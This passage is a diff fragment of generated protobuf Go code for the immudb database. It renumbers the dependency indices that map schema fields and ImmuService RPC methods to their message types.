immudb.schema.NullableString - 81, // 94: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString - 80, // 95: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool - 77, // 96: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 - 77, // 97: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 - 77, // 98: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 - 80, // 99: immudb.schema.ReplicationNullableSettings.allowTxDiscarding:type_name -> immudb.schema.NullableBool - 80, // 100: immudb.schema.ReplicationNullableSettings.skipIntegrityCheck:type_name -> immudb.schema.NullableBool - 80, // 101: immudb.schema.ReplicationNullableSettings.waitForIndexing:type_name -> immudb.schema.NullableBool - 82, // 102: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds - 82, // 103: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds - 77, // 104: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 - 77, // 105: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 77, // 106: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 - 77, // 107: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 - 77, // 108: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 - 78, // 109: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 - 77, // 110: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 - 77, // 111: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 - 77, // 112: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 77, // 113: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 77, // 114: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 77, // 115: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 - 79, // 116: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat - 77, // 117: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 - 82, // 118: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds - 77, // 119: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 77, // 120: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 118, // 121: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue - 97, // 122: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest - 37, // 123: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata - 99, // 124: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry - 39, // 125: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 42, // 126: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 129, // 127: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - 130, // 128: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - 131, // 129: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - 132, // 130: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - 1, // 131: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction - 69, // 132: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 107, // 133: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseInfo - 83, // 134: immudb.schema.DatabaseInfo.settings:type_name -> immudb.schema.DatabaseNullableSettings - 133, // 135: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry - 112, // 136: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 112, // 137: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 118, // 138: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 114, // 139: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 29, // 140: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 134, // 141: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 135, // 142: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 116, // 143: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 117, // 144: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 118, // 145: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 136, // 146: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 2, // 147: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 78, // 148: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 - 82, // 149: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 118, // 150: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 118, // 151: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 137, // 152: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 153: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 154: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 102, // 155: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 103, // 156: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 157: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 158: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 159: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 137, // 160: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 137, // 161: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 119, // 162: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 137, // 163: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 137, // 164: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 110, // 165: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 111, // 166: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 167: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 137, // 168: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 43, // 169: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 47, // 170: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 44, // 171: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 48, // 172: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 46, // 173: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 45, // 174: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 175: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 176: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 177: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 137, // 178: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 61, // 179: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 64, // 180: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 65, // 181: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 59, // 182: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 49, // 183: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 137, // 184: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 137, // 185: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 137, // 186: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 54, // 187: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 55, // 188: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 56, // 189: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 60, // 190: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 58, // 191: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 69, // 192: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 70, // 193: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 71, // 194: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 88, // 195: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 90, // 196: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 92, // 197: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 137, // 198: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 105, // 199: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 69, // 200: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 70, // 201: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 73, // 202: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 137, // 203: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 75, // 204: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 94, // 205: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 137, // 206: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 44, // 207: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 108, // 208: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 48, // 209: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 108, // 210: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 211: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 58, // 212: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 59, // 213: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 108, // 214: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 67, // 215: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 108, // 216: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 67, // 217: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest - 110, // 218: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 111, // 219: immudb.schema.ImmuService.UnarySQLQuery:input_type -> immudb.schema.SQLQueryRequest - 111, // 220: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 137, // 221: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 96, // 222: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 98, // 223: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 124, // 224: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest - 6, // 225: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 137, // 226: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 137, // 227: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 137, // 228: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 137, // 229: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 137, // 230: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 137, // 231: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 232: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 137, // 233: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 137, // 234: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 120, // 235: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 114, // 236: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 137, // 237: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 137, // 238: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 115, // 239: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 240: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 137, // 241: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 242: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 39, // 243: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 244: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 41, // 245: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 246: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 247: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 248: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 249: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 250: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 251: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 35, // 252: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 39, // 253: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 66, // 254: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 255: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 50, // 256: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 51, // 257: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 52, // 258: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 53, // 259: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 260: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 39, // 261: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 262: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 39, // 263: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 264: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 137, // 265: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 137, // 266: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 72, // 267: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 89, // 268: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 91, // 269: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 93, // 270: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 104, // 271: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 106, // 272: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 101, // 273: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 137, // 274: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 74, // 275: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 70, // 276: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 76, // 277: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 95, // 278: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 137, // 279: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 108, // 280: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 281: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 108, // 282: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 39, // 283: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 108, // 284: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 108, // 285: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 108, // 286: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 287: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 108, // 288: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 289: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 108, // 290: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk - 113, // 291: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 115, // 292: immudb.schema.ImmuService.UnarySQLQuery:output_type -> immudb.schema.SQLQueryResult - 115, // 293: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 115, // 294: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 115, // 295: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 100, // 296: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 125, // 297: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse - 225, // [225:298] is the sub-list for method output_type - 152, // [152:225] is the sub-list for method input_type - 152, // [152:152] is the sub-list for extension type_name - 152, // [152:152] is the sub-list for extension extendee - 0, // [0:152] is the sub-list for field type_name + 5, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission + 0, // 1: immudb.schema.User.sqlPrivileges:type_name -> immudb.schema.SQLPrivilege + 6, // 2: immudb.schema.UserList.users:type_name -> immudb.schema.User + 129, // 3: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition + 130, // 4: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition + 131, // 5: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition + 38, // 6: immudb.schema.KeyValue.metadata:type_name -> immudb.schema.KVMetadata + 20, // 7: immudb.schema.Entry.referencedBy:type_name -> immudb.schema.Reference + 38, // 8: immudb.schema.Entry.metadata:type_name -> immudb.schema.KVMetadata + 38, // 9: immudb.schema.Reference.metadata:type_name -> immudb.schema.KVMetadata + 18, // 10: immudb.schema.Op.kv:type_name -> immudb.schema.KeyValue + 57, // 11: immudb.schema.Op.zAdd:type_name -> immudb.schema.ZAddRequest + 55, // 12: immudb.schema.Op.ref:type_name -> immudb.schema.ReferenceRequest + 21, // 13: immudb.schema.ExecAllRequest.Operations:type_name -> immudb.schema.Op + 17, // 14: immudb.schema.ExecAllRequest.preconditions:type_name -> immudb.schema.Precondition + 19, // 15: immudb.schema.Entries.entries:type_name -> immudb.schema.Entry + 19, // 16: immudb.schema.ZEntry.entry:type_name -> immudb.schema.Entry + 24, // 17: immudb.schema.ZEntries.entries:type_name -> immudb.schema.ZEntry + 31, // 18: immudb.schema.TxHeader.metadata:type_name -> immudb.schema.TxMetadata + 43, // 19: immudb.schema.LinearAdvanceProof.inclusionProofs:type_name -> immudb.schema.InclusionProof + 30, // 20: immudb.schema.DualProof.sourceTxHeader:type_name -> immudb.schema.TxHeader + 30, // 21: immudb.schema.DualProof.targetTxHeader:type_name -> immudb.schema.TxHeader + 32, // 22: immudb.schema.DualProof.linearProof:type_name -> immudb.schema.LinearProof + 33, // 23: immudb.schema.DualProof.LinearAdvanceProof:type_name -> immudb.schema.LinearAdvanceProof + 30, // 24: immudb.schema.DualProofV2.sourceTxHeader:type_name -> immudb.schema.TxHeader + 30, // 25: immudb.schema.DualProofV2.targetTxHeader:type_name -> immudb.schema.TxHeader + 30, // 26: immudb.schema.Tx.header:type_name -> immudb.schema.TxHeader + 37, // 27: immudb.schema.Tx.entries:type_name -> immudb.schema.TxEntry + 19, // 28: immudb.schema.Tx.kvEntries:type_name -> immudb.schema.Entry + 24, // 29: immudb.schema.Tx.zEntries:type_name -> immudb.schema.ZEntry + 38, // 30: immudb.schema.TxEntry.metadata:type_name -> immudb.schema.KVMetadata + 39, // 31: immudb.schema.KVMetadata.expiration:type_name -> immudb.schema.Expiration + 36, // 32: immudb.schema.VerifiableTx.tx:type_name -> immudb.schema.Tx + 34, // 33: immudb.schema.VerifiableTx.dualProof:type_name -> immudb.schema.DualProof + 29, // 34: immudb.schema.VerifiableTx.signature:type_name -> immudb.schema.Signature + 36, // 35: immudb.schema.VerifiableTxV2.tx:type_name -> immudb.schema.Tx + 35, // 36: immudb.schema.VerifiableTxV2.dualProof:type_name -> immudb.schema.DualProofV2 + 29, // 37: immudb.schema.VerifiableTxV2.signature:type_name -> immudb.schema.Signature + 19, // 38: immudb.schema.VerifiableEntry.entry:type_name -> immudb.schema.Entry + 40, // 39: immudb.schema.VerifiableEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 43, // 40: immudb.schema.VerifiableEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 18, // 41: immudb.schema.SetRequest.KVs:type_name -> immudb.schema.KeyValue + 17, // 42: immudb.schema.SetRequest.preconditions:type_name -> immudb.schema.Precondition + 44, // 43: immudb.schema.VerifiableSetRequest.setRequest:type_name -> immudb.schema.SetRequest + 45, // 44: immudb.schema.VerifiableGetRequest.keyRequest:type_name -> immudb.schema.KeyRequest + 29, // 45: immudb.schema.ImmutableState.signature:type_name -> immudb.schema.Signature + 17, // 46: immudb.schema.ReferenceRequest.preconditions:type_name -> immudb.schema.Precondition + 55, // 47: immudb.schema.VerifiableReferenceRequest.referenceRequest:type_name -> immudb.schema.ReferenceRequest + 58, // 48: immudb.schema.ZScanRequest.minScore:type_name -> immudb.schema.Score + 58, // 49: immudb.schema.ZScanRequest.maxScore:type_name -> immudb.schema.Score + 57, // 50: immudb.schema.VerifiableZAddRequest.zAddRequest:type_name -> immudb.schema.ZAddRequest + 63, // 51: immudb.schema.TxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec + 64, // 52: immudb.schema.EntriesSpec.kvEntriesSpec:type_name -> immudb.schema.EntryTypeSpec + 64, // 53: immudb.schema.EntriesSpec.zEntriesSpec:type_name -> immudb.schema.EntryTypeSpec + 64, // 54: immudb.schema.EntriesSpec.sqlEntriesSpec:type_name -> immudb.schema.EntryTypeSpec + 1, // 55: immudb.schema.EntryTypeSpec.action:type_name -> immudb.schema.EntryTypeAction + 63, // 56: immudb.schema.VerifiableTxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec + 63, // 57: immudb.schema.TxScanRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec + 36, // 58: immudb.schema.TxList.txs:type_name -> immudb.schema.Tx + 69, // 59: immudb.schema.ExportTxRequest.replicaState:type_name -> immudb.schema.ReplicaState + 84, // 60: immudb.schema.CreateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings + 84, // 61: immudb.schema.CreateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings + 84, // 62: immudb.schema.UpdateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings + 84, // 63: immudb.schema.UpdateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings + 84, // 64: immudb.schema.DatabaseSettingsResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings + 85, // 65: immudb.schema.DatabaseNullableSettings.replicationSettings:type_name -> immudb.schema.ReplicationNullableSettings + 78, // 66: immudb.schema.DatabaseNullableSettings.fileSize:type_name -> immudb.schema.NullableUint32 + 78, // 67: immudb.schema.DatabaseNullableSettings.maxKeyLen:type_name -> immudb.schema.NullableUint32 + 78, // 68: immudb.schema.DatabaseNullableSettings.maxValueLen:type_name -> immudb.schema.NullableUint32 + 78, // 69: immudb.schema.DatabaseNullableSettings.maxTxEntries:type_name -> immudb.schema.NullableUint32 + 81, // 70: immudb.schema.DatabaseNullableSettings.excludeCommitTime:type_name -> immudb.schema.NullableBool + 78, // 71: immudb.schema.DatabaseNullableSettings.maxConcurrency:type_name -> immudb.schema.NullableUint32 + 78, // 72: immudb.schema.DatabaseNullableSettings.maxIOConcurrency:type_name -> immudb.schema.NullableUint32 + 78, // 73: immudb.schema.DatabaseNullableSettings.txLogCacheSize:type_name -> immudb.schema.NullableUint32 + 78, // 74: immudb.schema.DatabaseNullableSettings.vLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 78, // 75: immudb.schema.DatabaseNullableSettings.txLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 78, // 76: immudb.schema.DatabaseNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 87, // 77: immudb.schema.DatabaseNullableSettings.indexSettings:type_name -> immudb.schema.IndexNullableSettings + 78, // 78: immudb.schema.DatabaseNullableSettings.writeTxHeaderVersion:type_name -> immudb.schema.NullableUint32 + 81, // 79: immudb.schema.DatabaseNullableSettings.autoload:type_name -> immudb.schema.NullableBool + 78, // 80: immudb.schema.DatabaseNullableSettings.readTxPoolSize:type_name -> immudb.schema.NullableUint32 + 83, // 81: immudb.schema.DatabaseNullableSettings.syncFrequency:type_name -> immudb.schema.NullableMilliseconds + 78, // 82: immudb.schema.DatabaseNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 88, // 83: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings + 78, // 84: immudb.schema.DatabaseNullableSettings.maxActiveTransactions:type_name -> immudb.schema.NullableUint32 + 78, // 85: immudb.schema.DatabaseNullableSettings.mvccReadSetLimit:type_name -> immudb.schema.NullableUint32 + 78, // 86: immudb.schema.DatabaseNullableSettings.vLogCacheSize:type_name -> immudb.schema.NullableUint32 + 86, // 87: immudb.schema.DatabaseNullableSettings.truncationSettings:type_name -> immudb.schema.TruncationNullableSettings + 81, // 88: immudb.schema.DatabaseNullableSettings.embeddedValues:type_name -> immudb.schema.NullableBool + 81, // 89: immudb.schema.DatabaseNullableSettings.preallocFiles:type_name -> immudb.schema.NullableBool + 81, // 90: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool + 82, // 91: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString + 82, // 92: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString + 78, // 93: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 + 82, // 94: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString + 82, // 95: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString + 81, // 96: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool + 78, // 97: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 + 78, // 98: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 + 78, // 99: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 + 81, // 100: immudb.schema.ReplicationNullableSettings.allowTxDiscarding:type_name -> immudb.schema.NullableBool + 81, // 101: immudb.schema.ReplicationNullableSettings.skipIntegrityCheck:type_name -> immudb.schema.NullableBool + 81, // 102: immudb.schema.ReplicationNullableSettings.waitForIndexing:type_name -> immudb.schema.NullableBool + 